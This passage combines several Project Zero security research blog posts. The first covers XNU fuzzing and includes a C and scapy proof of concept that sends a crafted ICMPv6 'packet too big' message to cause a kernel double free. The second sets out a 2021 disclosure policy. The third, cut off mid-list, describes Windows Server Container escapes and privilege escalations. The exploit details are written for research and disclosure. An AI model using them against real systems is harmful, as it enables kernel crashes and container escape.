      sae_srcif: IFIDX_CASE_1

      sae_dstaddr {

        sockaddr_generic {

          sa_family: AF_MULTIPATH

          sa_data: "bugmbuf_debutoeloListen_dedeloListen_dedebuloListete_debugmbuf_debutoeloListen_dedeloListen_dedebuloListeListen_dedebuloListe_dtrte" # string length 131




    associd: ASSOCID_CASE_0



data_provider: ""

This is a lot easier to read! It appears that SockFuzzer managed to open a socket from the
AF_MULTIPATH domain and called connectx on it with a sockaddr using an unexpected sa_family, in this case AF_MULTIPATH. Then the large sa_data field was used to overwrite memory. You can see some artifacts of heuristics used by the fuzzer to guess strings as “listen” and “mbuf” appear in the input. This testcase could be further simplified by modifying the sa_data to a repeated character, but I left it as is so you can see exactly what it’s like to work with the output of this fuzzer.

In my experience, the protobuf-formatted syscalls and packet descriptions were highly useful for reproducing crashes and tended to work on the first attempt. I didn’t have an excellent setup for debugging on-device, so I tried to lean on the fuzzing framework as much as I could to understand issues before proceeding with the expensive process of reproducing them.

In my previous post describing the “SockPuppet” vulnerability, I walked through one of the newly discovered vulnerabilities, from protobuf to exploit. I’d like to share another original protobuf bug report for a remotely-triggered vulnerability I reported here.

commands {

  socket {

    domain: AF_INET6

    so_type: SOCK_RAW

    protocol: IPPROTO_IP



commands {

  set_sock_opt {

    level: SOL_SOCKET

    name: SO_RCVBUF

    val: "\021\000\000\000"



commands {

  set_sock_opt {

    level: IPPROTO_IPV6

    name: IP_FW_ZERO

    val: "\377\377\377\377"



commands {

  ip_input {

    tcp6_packet {

      ip6_hdr {

        ip6_hdrctl {

          ip6_un1_flow: 0

          ip6_un1_plen: 0

          ip6_un1_nxt: IPPROTO_ICMPV6

          ip6_un1_hlim: 0


        ip6_src: IN6_ADDR_LOOPBACK

        ip6_dst: IN6_ADDR_ANY


      tcp_hdr {

        th_sport: PORT_2

        th_dport: PORT_1

        th_seq: SEQ_1

        th_ack: SEQ_1

        th_off: 0

        th_win: 0

        th_sum: 0

        th_urp: 0

        is_pure_syn: false

        is_pure_ack: false


      data: "\377\377\377\377\377\377\377\377\377\377\377\377q\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"




data_provider: ""

This automatically minimized test case requires some human translation to a report that’s actionable by developers who don’t have access to our fuzzing framework. The test creates a socket and sets some options before delivering a crafted ICMPv6 packet. You can see how the packet grammar we specified comes in handy. I started by transcribing the first three syscall messages directly by writing the following C program.

#include <sys/socket.h>

#define __APPLE_USE_RFC_3542

#include <netinet/in.h>

#include <stdio.h>

#include <unistd.h>

int main() {

    int fd = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);

    if (fd < 0) {


        return 0;


    int res;

    // This is not needed to cause a crash on macOS 10.14.6, but you can

    // try setting this option if you can't reproduce the issue.

    // int space = 1;

    // res = setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &space, sizeof(space));

    // printf("res1: %d\n", res);

    int enable = 1;

    res = setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPATHMTU, &enable, sizeof(enable));

    printf("res2: %d\n", res);

    // Keep the socket open without terminating.

    while (1) {




    return 0;


With the socket open, it’s now a matter of sending a special ICMPv6 packet to trigger the bug. Using the original crash as a guide, I reviewed the code around the crashing instruction to understand which parts of the input were relevant. I discovered that sending a “packet too big” notification would reach the buggy code, so I used the scapy library for Python to send the buggy packet locally. My kernel panicked, confirming the double free vulnerability.

from scapy.all import sr1, IPv6, ICMPv6PacketTooBig, raw

outer = IPv6(dst="::1") / ICMPv6PacketTooBig() / ("\x41"*40)


p = sr1(outer)

if p:


Creating a working PoC from the crashing protobuf input took about an hour, thanks to the straightforward mapping from grammar to syscalls/network input and the utility of being able to debug the local crashing “kernel” using gdb.


Any fuzzing project of this size will require design decisions that have some tradeoffs. The most obvious issue is the inability to detect race conditions. Threading bugs can be found with fuzzing but are still best left to static analysis and manual review as fuzzers can’t currently deal with the state space of interleaving threads. Maybe this will change in the future, but today it’s an issue. I accepted this problem and removed threading completely from the fuzzer; some bugs were missed by this, such as a race condition in the bind syscall.

Another issue lies in the fact that by replacing so much functionality by hand, it’s hard to extend the fuzzer trivially to support additional attack surfaces. This is evidenced by another issue I missed in packet filtering. I don’t support VFS at the moment, so I can’t access the bpf device. A syzkaller-like project would have less trouble with supporting this code since VFS would already be working. I made an explicit decision to build a simple tool that works very effectively and meticulously, but this can mean missing some low hanging fruit due to the effort involved.

Per-test case determinism is an issue that I’ve solved only partially. If test cases aren’t deterministic, libFuzzer becomes less efficient as it thinks some tests are finding new coverage when they really depend on one that was run previously. To mitigate this problem, I track open file descriptors manually and run all of the garbage collection thread functions after each test case. Unfortunately, there are many ioctls that change state in the background. It’s hard to keep track of them to clean up properly but they are important enough that it’s not worth disabling them just to improve determinism. If I were working on a long-term well-resourced overhaul of the XNU network stack, I would probably make sure there’s a way to cleanly tear down the whole stack to prevent this problem.

Perhaps the largest caveat of this project is its reliance on source code. Without the efficiency and productivity losses that come with binary-only research, I can study the problem more closely to the source. But I humbly admit that this approach ignores many targets and doesn’t necessarily match real attackers’ workflows. Real attackers take the shortest path they can to find an exploitable vulnerability, and often that path is through bugs found via binary-based fuzzing or reverse engineering and auditing. I intend to discover some of the best practices for fuzzing with the source and then migrate this approach to work with binaries. Binary instrumentation can assist in coverage guided fuzzing, but some of my tricks around substituting fake implementations or changing behavior to be more fuzz-friendly is a more significant burden when working with binaries. But I believe these are tractable problems, and I expect researchers can adapt some of these techniques to binary-only fuzzing efforts, even if there is additional overhead.

Open Sourcing and Future Work

This fuzzer is now open source on GitHub. I invite you to study the code and improve it! I’d like to continue the development of this fuzzer semi-publicly. Some modifications that yield new vulnerabilities may need to be embargoed until relevant patches go out. Still, I hope that I can be as transparent as possible in my research. By working publicly, it may be possible to bring the original XNU project and this fuzzer closer together by sharing the efforts. I’m hoping the upstream developers can make use of this project to perform their own testing and perhaps make their own improvements to XNU to make this type of testing more accessible. There’s plenty of remaining work to improve the existing grammar, add support for new subsystems, and deal with some high-level design improvements such as adding proper threading support.

An interesting property of the current fuzzer is that despite reaching coverage saturation on ClusterFuzz after many months, there is still reachable but uncovered code due to the enormous search space. This means that improvements in coverage-guided fuzzing could find new bugs. I’d like to encourage teams who perform fuzzing engine research to use this project as a baseline. If you find a bug, you can take the credit for it! I simply hope you share your improvements with me and the rest of the community.


Modern kernel development has some catching up to do. XNU and Linux suffer from some process failures that lead to shipping security regressions. Kernels, perhaps the most security-critical component of operating systems, are becoming increasingly fragile as memory corruption issues become easier to discover. Implementing better mitigations is half the battle; we need better kernel unit testing to make identifying and fixing (even non-security) bugs cheaper.

Since my last post, Apple has increased the frequency of its open-source releases. This is great for end-user security. The more publicly that Apple can develop XNU, the more that external contributors like myself may have a chance to contribute fixes and improvements directly. Maintaining internal branches for upcoming product launches while keeping most development open has helped Chromium and Android security, and I believe XNU’s development could follow this model. As software engineering grows as a field, our experience has shown us that open, shared, and continuous development has a real impact on software quality and stability by improving developer productivity. If you don’t invest in CI, unit testing, security reviews, and fuzzing, attackers may do that for you - and users pay the cost whether they recognize it or not.

Policy and Disclosure: 2021 Edition

15 April 2021 at 16:02
By: Ryan

Posted by Tim Willis, Project Zero

At Project Zero, we spend a lot of time discussing and evaluating vulnerability disclosure policies and their consequences for users, vendors, fellow security researchers, and software security norms of the broader industry. We aim to be a vulnerability research team that benefits everyone, working across the entire ecosystem to help make 0-day hard.


We remain committed to adapting our policies and practices to best achieve our mission,  demonstrating this commitment at the beginning of last year with our 2020 Policy and Disclosure Trial.

As part of our annual year-end review, we evaluated our policy goals, solicited input from those that receive most of our reports, and adjusted our approach for 2021.

Summary of changes for 2021

Starting today, we're changing our Disclosure Policy to refocus on reducing the time it takes for vulnerabilities to get fixed, improving the current industry benchmarks on disclosure timeframes, as well as changing when we release technical details.

The short version: Project Zero won't share technical details of a vulnerability for 30 days if a vendor patches it before the 90-day or 7-day deadline. The 30-day period is intended for user patch adoption.

The full list of changes for 2021:

2020 Trial ("Full 90")

2021 Trial ("90+30")

  1. Public disclosure occurs 90 days after an initial vulnerability report, regardless of when the bug is fixed. Technical details (initial report plus any additional work) are published on Day 90. A 14-day grace period* is allowed.
    Earlier disclosure with mutual agreement.
  1. Disclosure deadline of 90 days. If an issue remains unpatched after 90 days, technical details are published immediately. If the issue is fixed within 90 days, technical details are published 30 days after the fix. A 14-day grace period* is allowed.
    Earlier disclosure with mutual agreement.
  1. For vulnerabilities that were actively exploited in-the-wild against users, public disclosure occurred 7 days after the initial vulnerability report, regardless of when the bug is fixed.

    In-the wild vulnerabilities are not offered a grace period

    Earlier disclosure with mutual agreement.
  1. Disclosure deadline of 7 days for issues that are being actively exploited in-the-wild against users. If an issue remains unpatched after 7 days, technical details are published immediately. If the issue is fixed within 7 days, technical details are published 30 days after the fix.

    Vendors can request a 3-day grace period* for in-the-wild bugs.

    Earlier disclosure with mutual agreement.
  1. Technical details are immediately published when a vulnerability is patched in the grace period*.

    (e.g. Patched on Day 100 in grace period, disclosure on Day 100)
  1. If a grace period* is granted, it uses up a portion of the 30-day patch adoption period.

    (e.g. Patched on Day 100 in grace period, disclosure on Day 120)

Elements of the 2020 trial that will carry over to 2021:

2020 Trial + 2021 Trial

1. Policy goals:

  • Faster patch development
  • Thorough patch development
  • Improved patch adoption

2. If Project Zero discovers a variant of a previously reported Project Zero bug, technical details of the variant will be added to the existing Project Zero report (which may be already public) and the report will not receive a new deadline.

3. If a 90-day deadline is missed, technical details are made public on Day 90, unless a grace period* is requested and confirmed prior to deadline expiry.

4. If a 7-day deadline is missed, technical details are made public on Day 7, unless a grace period* is requested and confirmed prior to deadline expiry.

* The grace period is an additional 14 days that a vendor can request if they do not expect that a reported vulnerability will be fixed within 90 days, but do expect it to be fixed within 104 days. Grace periods will not be granted for vulnerabilities that are expected to take longer than 104 days to fix.  For vulnerabilities that are being actively exploited and reported under the 7 day deadline, the grace period is an additional 3 days that a vendor can request if they do not expect that a reported vulnerability will be fixed within 7 days, but do expect it to be fixed within 10 days.

Rationale on changes for 2021

As we discussed in last year's "Policy and Disclosure: 2020 Edition", our three vulnerability disclosure policy goals are:

  1. Faster patch development: shorten the time between a bug report and a fix being available for users.
  2. Thorough patch development: ensure that each fix is correct and comprehensive.
  3. Improved patch adoption: shorten the time between a patch being released and users installing it.

Our policy trial for 2020 aimed to balance all three of these goals, while keeping our policy consistent, simple, and fair. Vendors were given 90 days to work on the full cycle of patch development and patch adoption. The idea was if a vendor wanted more time for users to install a patch, they would prioritize shipping the fix earlier in the 90 day cycle rather than later.

In practice however, we didn't observe a significant shift in patch development timelines, and we continued to receive feedback from vendors that they were concerned about publicly releasing technical details about vulnerabilities and exploits before most users had installed the patch. In other words, the implied timeline for patch adoption wasn't clearly understood.

The goal of our 2021 policy update is to make the patch adoption timeline an explicit part of our vulnerability disclosure policy. Vendors will now have 90 days for patch development, and an additional 30 days for patch adoption.

This 90+30 policy gives vendors more time than our current policy, as jumping straight to a 60+30 policy (or similar) would likely be too abrupt and disruptive. Our preference is to choose a starting point that can be consistently met by most vendors, and then gradually lower both patch development and patch adoption timelines.

For example, based on our current data tracking vulnerability patch times, it's likely that we can move to a "84+28" model for 2022 (having deadlines evenly divisible by 7 significantly reduces the chance our deadlines fall on a weekend). Beyond that, we will keep a close eye on the data and continue to encourage innovation and investment in bug triage, patch development, testing, and update infrastructure.

Risk and benefits

Much of the debate around vulnerability disclosure is caught up on the issue of whether rapidly releasing technical details benefits attackers or defenders more. From our time in the defensive community, we've seen firsthand how the open and timely sharing of technical details helps protect users across the Internet. But we also have listened to the concerns from others around the much more visible "opportunistic" attacks that may come from quickly releasing technical details.

We continue to believe that the benefits to the defensive community of Project Zero's publications outweigh the risks of disclosure, but we're willing to incorporate feedback into our policy in the interests of getting the best possible results for user security. Security researchers need to be able to work closely with vendors and open source projects on a range of technical, process, and policy issues -- and heated discussions about the risk and benefits of technical vulnerability details or proof-of-concept exploits has been a significant roadblock.

While the 90+30 policy will be a slight regression from the perspective of rapidly releasing technical details, we're also signaling our intent to shorten our 90-day disclosure deadline in the near future. We anticipate slowly reducing time-to-patch and speeding up patch adoption over the coming years until a steady state is reached.

Finally, we understand that this change will make it more difficult for the defensive community to quickly perform their own risk assessment, prioritize patch deployment, test patch efficacy, quickly find variants, deploy available mitigations, and develop detection signatures. We're always interested in hearing about Project Zero's publications being used for defensive purposes, and we encourage users to ask their vendors/suppliers for actionable technical details to be shared in security advisories.


Moving to a "90+30" model allows us to decouple time to patch from patch adoption time, reduce the contentious debate around attacker/defender trade-offs and the sharing of technical details, while advocating to reduce the amount of time that end users are vulnerable to known attacks.

Disclosure policy is a complex topic with many trade-offs to be made, and this wasn't an easy decision to make. We are optimistic that our 2021 policy and disclosure trial lays a good foundation for the future, and has a balance of incentives that will lead to positive improvements to user security.

Who Contains the Containers?

1 April 2021 at 16:06
By: Ryan

Posted by James Forshaw, Project Zero

This is a short blog post about a research project I conducted on Windows Server Containers that resulted in four privilege escalations which Microsoft fixed in March 2021. In the post, I describe what led to this research, my research process, and insights into what to look for if you’re researching this area.

Windows Containers Background

Windows 10 and its server counterparts added support for application containerization. The implementation in Windows is similar in concept to Linux containers, but of course wildly different. The well-known Docker platform supports Windows containers which leads to the availability of related projects such as Kubernetes running on Windows. You can read a bit of background on Windows containers on MSDN. I’m not going to go in any depth on how containers work in Linux as very little is applicable to Windows.

The primary goal of a container is to hide the real OS from an application. For example, in Docker you can download a standard container image which contains a completely separate copy of Windows. The image is used to build the container which uses a feature of the Windows kernel called a Server Silo allowing for redirection of resources such as the object manager, registry and networking. The server silo is a special type of Job object, which can be assigned to a process.

Diagram of a server silo. Shows an application interacting with the registry, object manager and network and how being in the silo redirects that access to another location.

The application running in the container, as far as possible, will believe it’s running in its own unique OS instance. Any changes it makes to the system will only affect the container and not the real OS which is hosting it. This allows an administrator to bring up new instances of the application easily as any system or OS differences can be hidden.

For example the container could be moved between different Windows systems, or even to a Linux system with the appropriate virtualization and the application shouldn’t be able to tell the difference. Containers shouldn’t be confused with virtualization however, which provides a consistent hardware interface to the OS. A container is more about providing a consistent OS interface to applications.

Realistically, containers are mainly about using their isolation primitives for hiding the real OS and providing a consistent configuration in which an application can execute. However, there’s also some potential security benefit to running inside a container, as the application shouldn’t be able to directly interact with other processes and resources on the host.

There are two supported types of containers: Windows Server Containers and Hyper-V Isolated Containers. Windows Server Containers run under the current kernel as separate processes inside a server silo. Therefore a single kernel vulnerability would allow you to escape the container and access the host system.

Hyper-V Isolated Containers still run in a server silo, but do so in a separate lightweight VM. You can still use the same kernel vulnerability to escape the server silo, but you’re still constrained by the VM and hypervisor. To fully escape and access the host you’d need a separate VM escape as well.

Diagram comparing Windows Server Containers and Hyper-V Isolated Containers. The server container on the left directly accesses the hosts kernel. For Hyper-V the container accesses a virtualized kernel, which dispatches to the hypervisor and then back to the original host kernel. This shows the additional security boundary in place to make Hyper-V isolated containers more secure.

The current MSRC security servicing criteria states that Windows Server Containers are not a security boundary as you still have direct access to the kernel. However, if you use Hyper-V isolation, a silo escape wouldn’t compromise the host OS directly as the security boundary is at the hypervisor level. That said, escaping the server silo is likely to be the first step in attacking Hyper-V containers meaning an escape is still useful as part of a chain.

As Windows Server Containers are not a security boundary any bugs in the feature won’t result in a security bulletin being issued. Any issues might be fixed in the next major version of Windows, but they might not be.

Origins of the Research

Over a year ago I was asked for some advice by Daniel Prizmant, a researcher at Palo Alto Networks on some details around Windows object manager symbolic links. Daniel was doing research into Windows containers, and wanted help on a feature which allows symbolic links to be marked as global which allows them to reference objects outside the server silo. I recommend reading Daniel’s blog post for more in-depth information about Windows containers.

Knowing a little bit about symbolic links I was able to help fill in some details and usage. About seven months later Daniel released a second blog post, this time describing how to use global symbolic links to escape a server silo Windows container. The result of the exploit is the user in the container can access resources outside of the container, such as files.

The global symbolic link feature needs SeTcbPrivilege to be enabled, which can only be accessed from SYSTEM. The exploit therefore involved injecting into a system process from the default administrator user and running the exploit from there. Based on the blog post, I thought it could be done easier without injection. You could impersonate a SYSTEM token and do the exploit all in process. I wrote a simple proof-of-concept in PowerShell and put it up on Github.

Fast forward another few months and a Googler reached out to ask me some questions about Windows Server Containers. Another researcher at Palo Alto Networks had reported to Google Cloud that Google Kubernetes Engine (GKE) was vulnerable to the issue Daniel had identified. Google Cloud was using Windows Server Containers to run Kubernetes, so it was possible to escape the container and access the host, which was not supposed to be accessible.

Microsoft had not patched the issue and it was still exploitable. They hadn’t patched it because Microsoft does not consider these issues to be serviceable. Therefore the GKE team was looking for mitigations. One proposed mitigation was to enforce the containers to run under the ContainerUser account instead of the ContainerAdministrator. As the reported issue only works when running as an administrator that would seem to be sufficient.

However, I wasn’t convinced there weren't similar vulnerabilities which could be exploited from a non-administrator user. Therefore I decided to do my own research into Windows Server Containers to determine if the guidance of using ContainerUser would really eliminate the risks.

While I wasn’t expecting MS to fix anything I found it would at least allow me to provide internal feedback to the GKE team so they might be able to better mitigate the issues. It also establishes a rough baseline of the risks involved in using Windows Server Containers. It’s known to be problematic, but how problematic?

Research Process

The first step was to get some code running in a representative container. Nothing that had been reported was specific to GKE, so I made the assumption I could just run a local Windows Server Container.

Setting up your own server silo from scratch is undocumented and almost certainly unnecessary. When you enable the Container support feature in Windows, the Hyper-V Host Compute Service is installed. This takes care of setting up both Hyper-V and process isolated containers. The API to interact with this service isn’t officially documented, however Microsoft has provided public wrappers (with scant documentation), for example this is the Go wrapper.

Realistically it’s best to just use Docker which takes the MS provided Go wrapper and implements the more familiar Docker CLI. While there’s likely to be Docker-specific escapes, the core functionality of a Windows Docker container is all provided by Microsoft so would be in scope. Note, there are two versions of Docker: Enterprise which is only for server systems and Desktop. I primarily used Desktop for convenience.

As an aside, MSRC does not count any issue as crossing a security boundary where being a member of the Hyper-V Administrators group is a prerequisite. Using the Hyper-V Host Compute Service requires membership of the Hyper-V Administrators group. However Docker runs at sufficient privilege to not need the user to be a member of the group. Instead access to Docker is gated by membership of the separate docker-users group. If you get code running under a non-administrator user that has membership of the docker-users group you can use that to get full administrator privileges by abusing Docker’s server silo support.

Fortunately for me most Windows Docker images come with .NET and PowerShell installed so I could use my existing toolset. I wrote a simple docker file containing the following:

FROM mcr.microsoft.com/windows/servercore:20H2

USER ContainerUser

COPY NtObjectManager c:/NtObjectManager

CMD [ "powershell", "-noexit", "-command", \

  "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]

This docker file will download a Windows Server Core 20H2 container image from the Microsoft Container Registry, copy in my NtObjectManager PowerShell module and then set up a command to load that module on startup. I also specified that the PowerShell process would run as the user ContainerUser so that I could test the mitigation assumptions. If you don’t specify a user it’ll run as ContainerAdministrator by default.

Note, when using process isolation mode the container image version must match the host OS. This is because the kernel is shared between the host and the container and any mismatch between the user-mode code and the kernel could result in compatibility issues. Therefore if you’re trying to replicate this you might need to change the name for the container image.

Create a directory and copy the contents of the docker file to the filename dockerfile in that directory. Also copy in a copy of my PowerShell module into the same directory under the NtObjectManager directory. Then in a command prompt in that directory run the following commands to build and run the container.

C:\container> docker build -t test_image .

Step 1/4 : FROM mcr.microsoft.com/windows/servercore:20H2

 ---> b29adf5cd4f0

Step 2/4 : USER ContainerUser

 ---> Running in ac03df015872

Removing intermediate container ac03df015872

 ---> 31b9978b5f34

Step 3/4 : COPY NtObjectManager c:/NtObjectManager

 ---> fa42b3e6a37f

Step 4/4 : CMD [ "powershell", "-noexit", "-command",   "Import-Module c:/NtObjectManager/NtObjectManager.psd1" ]

 ---> Running in 86cad2271d38

Removing intermediate container 86cad2271d38

 ---> e7d150417261

Successfully built e7d150417261

Successfully tagged test_image:latest

C:\container> docker run --isolation=process -it test_image


I wanted to run code using process isolation rather than in Hyper-V isolation, so I needed to specify the --isolation=process argument. This would allow me to more easily see system interactions as I could directly debug container processes if needed. For example, you can use Process Monitor to monitor file and registry access. Docker Enterprise uses process isolation by default, whereas Desktop uses Hyper-V isolation.

I now had a PowerShell console running inside the container as ContainerUser. A quick way to check that it was successful is to try and find the CExecSvc process, which is the Container Execution Agent service. This service is used to spawn your initial PowerShell console.

PS> Get-Process -Name CExecSvc

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName

-------  ------    -----      -----     ------     --  -- -----------

     86       6     1044       5020              4560   6 CExecSvc

With a running container it was time to start poking around to see what’s available. The first thing I did was dump the ContainerUser’s token just to see what groups and privileges were assigned. You can use the Show-NtTokenEffective command to do that.

PS> Show-NtTokenEffective -User -Group -Privilege



Name                       Sid

----                       ---

User Manager\ContainerUser S-1-5-93-2-2



Name                                   Attributes

----                                   ----------

Mandatory Label\High Mandatory Level   Integrity, ...

Everyone                               Mandatory, ...

BUILTIN\Users                          Mandatory, ...

NT AUTHORITY\SERVICE                   Mandatory, ...

CONSOLE LOGON                          Mandatory, ...

NT AUTHORITY\Authenticated Users       Mandatory, ...

NT AUTHORITY\This Organization         Mandatory, ...

NT AUTHORITY\LogonSessionId_0_10357759 Mandatory, ...

LOCAL                                  Mandatory, ...

User Manager\AllContainers             Mandatory, ...



Name                          Luid              Enabled

----                          ----              -------

SeChangeNotifyPrivilege       00000000-00000017 True

SeImpersonatePrivilege        00000000-0000001D True

SeCreateGlobalPrivilege       00000000-0000001E True

SeIncreaseWorkingSetPrivilege 00000000-00000021 False

The groups didn’t seem that interesting, however looking at the privileges we have SeImpersonatePrivilege. If you have this privilege you can impersonate any other user on the system including administrators. MSRC considers having SeImpersonatePrivilege as administrator equivalent, meaning if you have it you can assume you can get to administrator. Seems ContainerUser is not quite as normal as it should be.

That was a very bad (or good) start to my research. The prior assumption was that running as ContainerUser would not grant administrator privileges, and therefore the global symbolic link issue couldn’t be directly exploited. However that turns out to not be the case in practice. As an example you can use the public RogueWinRM exploit to get a SYSTEM token as long as WinRM isn’t enabled, which is the case on most Windows container images. There are no doubt other less well known techniques to achieve the same thing. The code which creates the user account is in CExecSvc, which is code owned by Microsoft and is not specific to Docker.

NextI used the NtObject drive provider to list the object manager namespace. For example checking the Device directory shows what device objects are available.

PS> ls NtObject:\Device

Name                                              TypeName

----                                              --------

Ip                                                SymbolicLink

Tcp6                                              SymbolicLink

Http                                              Directory

Ip6                                               SymbolicLink

ahcache                                           SymbolicLink

WMIDataDevice                                     SymbolicLink

LanmanDatagramReceiver                            SymbolicLink

Tcp                                               SymbolicLink

LanmanRedirector                                  SymbolicLink

DxgKrnl                                           SymbolicLink

ConDrv                                            SymbolicLink

Null                                              SymbolicLink

MailslotRedirector                                SymbolicLink

NamedPipe                                         Device

Udp6                                              SymbolicLink

VhdHardDisk{5ac9b14d-61f3-4b41-9bbf-a2f5b2d6f182} SymbolicLink

KsecDD                                            SymbolicLink

DeviceApi                                         SymbolicLink

MountPointManager                                 Device


Interestingly most of the device drivers are symbolic links (almost certainly global) instead of being actual device objects. But there are a few real device objects available. Even the VHD disk volume is a symbolic link to a device outside the container. There’s likely to be some things lurking in accessible devices which could be exploited, but I was still in reconnaissance mode.

What about the registry? The container should be providing its own Registry hives and so there shouldn’t be anything accessible outside of that. After a few tests I noticed something very odd.

PS> ls HKLM:\SOFTWARE | Select-Object Name













PS> ls NtObject:\REGISTRY\MACHINE\SOFTWARE | Select-Object Name






Docker Inc.












The first command is querying the local machine SOFTWARE hive using the built-in Registry drive provider. The second command is using my module’s object manager provider to list the same hive. If you look closely the list of keys is different between the two commands. Maybe I made a mistake somehow? I checked some other keys, for example the user hive attachment point:

PS> ls NtObject:\REGISTRY\USER | Select-Object Name










PS> Get-NtSid

Name                       Sid

----                       ---

User Manager\ContainerUser S-1-5-93-2-2

No, it still looked wrong. The ContainerUser’s SID is S-1-5-93-2-2, you’d expect to see a loaded hive for that user SID. However you don’t see one, instead you see S-1-5-21-426062036-3400565534-2975477557-1001 which is the SID of the user outside the container.

Something funny was going on. However, this behavior is something I’ve seen before. Back in 2016 I reported a bug with application hives where you couldn’t open the \REGISTRY\A attachment point directly, but you could if you opened \REGISTRY then did a relative open to A. It turns out that by luck my registry enumeration code in the module’s drive provider uses relative opens using the native system calls, whereas the PowerShell built-in uses absolute opens through the Win32 APIs. Therefore, this was a manifestation of a similar bug: doing a relative open was ignoring the registry overlays and giving access to the real hive.

This grants a non-administrator user access to any registry key on the host, as long as ContainerUser can pass the key’s access check. You could imagine the host storing some important data in the registry which the container can now read out, however using this to escape the container would be hard. That said, all you need to do is abuse SeImpersonatePrivilege to get administrator access and you can immediately start modifying the host’s registry hives.

The fact that I had two bugs in less than a day was somewhat concerning, however at least that knowledge can be applied to any mitigation strategy. I thought I should dig a bit deeper into the kernel to see what else I could exploit from a normal user.

A Little Bit of Reverse Engineering

While just doing basic inspection has been surprisingly fruitful it was likely to need some reverse engineering to shake out anything else. I know from previous experience on Desktop Bridge how the registry overlays and object manager redirection works when combined with silos. In the case of Desktop Bridge it uses application silos rather than server silos but they go through similar approaches.

The main enforcement mechanism used by the kernel to provide the container’s isolation is by calling a function to check whether the process is in a silo and doing something different based on the result. I decided to try and track down where the silo state was checked and see if I could find any misuse. You’d think the kernel would only have a few functions which would return the current silo state. Unfortunately you’d be wrong, the following is a short list of the functions I checked:

IoGetSilo, IoGetSiloParameters, MmIsSessionInCurrentServerSilo, OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO, ObGetSiloRootDirectoryPath, ObpGetSilosRootDirectory, PsGetCurrentServerSilo, PsGetCurrentServerSiloGlobals, PsGetCurrentServerSiloName, PsGetCurrentSilo, PsGetEffectiveServerSilo, PsGetHostSilo, PsGetJobServerSilo, PsGetJobSilo, PsGetParentSilo, PsGetPermanentSiloContext, PsGetProcessServerSilo, PsGetProcessSilo, PsGetServerSiloActiveConsoleId, PsGetServerSiloGlobals, PsGetServerSiloServiceSessionId, PsGetServerSiloState, PsGetSiloBySessionId, PsGetSiloContainerId, PsGetSiloContext, PsGetSiloIdentifier, PsGetSiloMonitorContextSlot, PsGetThreadServerSilo, PsIsCurrentThreadInServerSilo, PsIsHostSilo, PsIsProcessInAppSilo, PsIsProcessInSilo, PsIsServerSilo, PsIsThreadInSilo

Of course that’s not a comprehensive list of functions, but those are the ones that looked the most likely to either return the silo and its properties or check if something was in a silo. Checking the references to these functions wasn’t going to be comprehensive, for various reasons:

  1. We’re only checking for bad checks, not the lack of a check.
  2. The kernel has the structure type definition for the Job object which contains the silo, so the call could easily be inlined.
  3. We’re only checking the kernel, many of these functions are exported for driver use so could be called by other kernel components that we’re not looking at.

The first issue I found was due to a call to PsIsCurrentThreadInServerSilo. I noticed a reference to the function inside CmpOKToFollowLink which is a function that’s responsible for enforcing symlink checks in the registry. At a basic level, registry symbolic links are not allowed to traverse from an untrusted hive to a trusted hive.

For example if you put a symbolic link in the current user’s hive which redirects to the local machine hive the CmpOKToFollowLink will return FALSE when opening the key and the operation will fail. This prevents a user planting symbolic links in their hive and finding a privileged application which will write to that location to elevate privileges.

BOOLEAN CmpOKToFollowLink(PCMHIVE SourceHive, PCMHIVE TargetHive) {

  if (PsIsCurrentThreadInServerSilo() 

    || !TargetHive

    || TargetHive == SourceHive) {

    return TRUE;


  if (SourceHive->Flags.Trusted)

    return FALSE;

  // Check trust list.


Looking at CmpOKToFollowLink we can see where PsIsCurrentThreadInServerSilo is being used. If the current thread is in a server silo then all links are allowed between any hives. The check for the trusted state of the source hive only happens after this initial check so is bypassed. I’d speculate that during development the registry overlays couldn’t be marked as trusted so a symbolic link in an overlay would not be followed to a trusted hive it was overlaying, causing problems. Someone presumably added this bypass to get things working, but no one realized they needed to remove it when support for trusted overlays was added.

To exploit this in a container I needed to find a privileged kernel component which would write to a registry key that I could control. I found a good primitive inside Win32k for supporting FlickInfo configuration (which seems to be related in some way to touch input, but it’s not documented). When setting the configuration Win32k would create a known key in the current user’s hive. I could then redirect the key creation to the local machine hive allowing creation of arbitrary keys in a privileged location. I don’t believe this primitive could be directly combined with the registry silo escape issue but I didn’t investigate too deeply. At a minimum this would allow a non-administrator user to elevate privileges inside a container, where you could then use registry silo escape to write to the host registry.

The second issue was due to a call to OBP_GET_SILO_ROOT_DIRECTORY_FROM_SILO. This function would get the root object manager namespace directory for a silo.


  if (Silo) {

    PPSP_STORAGE Storage = Silo->Storage;

    PPSP_SLOT Slot = Storage->Slot[PsObjectDirectorySiloContextSlot];

    if (Slot->Present)

      return Slot->Value;


  return ObpRootDirectoryObject;


We can see that the function will extract a storage parameter from the passed-in silo, if present it will return the value of the slot. If the silo is NULL or the slot isn’t present then the global root directory stored in ObpRootDirectoryObject is returned. When the server silo is set up the slot is populated with a new root directory so this function should always return the silo root directory rather than the real global root directory.

This code seems perfectly fine, if the server silo is passed in it should always return the silo root object directory. The real question is, what silo do the callers of this function actually pass in? We can check that easily enough, there are only two callers and they both have the following code.

PEJOB silo = PsGetCurrentSilo();


Okay, so the silo is coming from PsGetCurrentSilo. What does that do?

PEJOB PsGetCurrentSilo() {

  PETHREAD Thread = PsGetCurrentThread();

  PEJOB silo = Thread->Silo;

  if (silo == (PEJOB)-3) {

    silo = Thread->Tcb.Process->Job;

    while(silo) {

      if (silo->JobFlags & EJOB_SILO) {



      silo = silo->ParentJob;



  return silo;


A silo can be associated with a thread, through impersonation or as can be one job in the hierarchy of jobs associated with a process. This function first checks if the thread is in a silo. If not, signified by the -3 placeholder, it searches for any job in the job hierarchy for the process for anything which has the JOB_SILO flag set. If a silo is found, it’s returned from the function, otherwise NULL would be returned.

This is a problem, as it’s not explicitly checking for a server silo. I mentioned earlier that there are two types of silo, application and server. While creating a new server silo requires administrator privileges, creating an application silo requires no privileges at all. Therefore to trick the object manager to using the root directory all we need to do is:

  1. Create an application silo.
  2. Assign it to a process.
  3. Fully access the root of the object manager namespace.

